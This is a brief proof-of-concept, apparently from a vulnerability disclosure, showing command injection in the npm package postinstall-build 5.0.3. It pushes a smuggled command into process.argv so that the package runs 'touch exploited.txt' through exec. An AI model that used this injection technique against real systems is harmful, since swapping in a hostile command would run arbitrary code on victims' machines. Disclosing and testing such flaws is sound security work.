Package postinstall-build: it is possible to inject a custom command and arguments by pushing into process.argv.

postinstall-build-5.0.3_poc.js

'use strict'

const pkg = require('postinstall-build');

process.argv.push('touch');
process.argv.push('touch exploited.txt');

/* 
 * This will lead to exec(cmd) with cmd = 'touch exploited.txt' on 
 * line #326 of src/index.js.
 * A local 'exploited.txt' file will be created.
 */

pkg();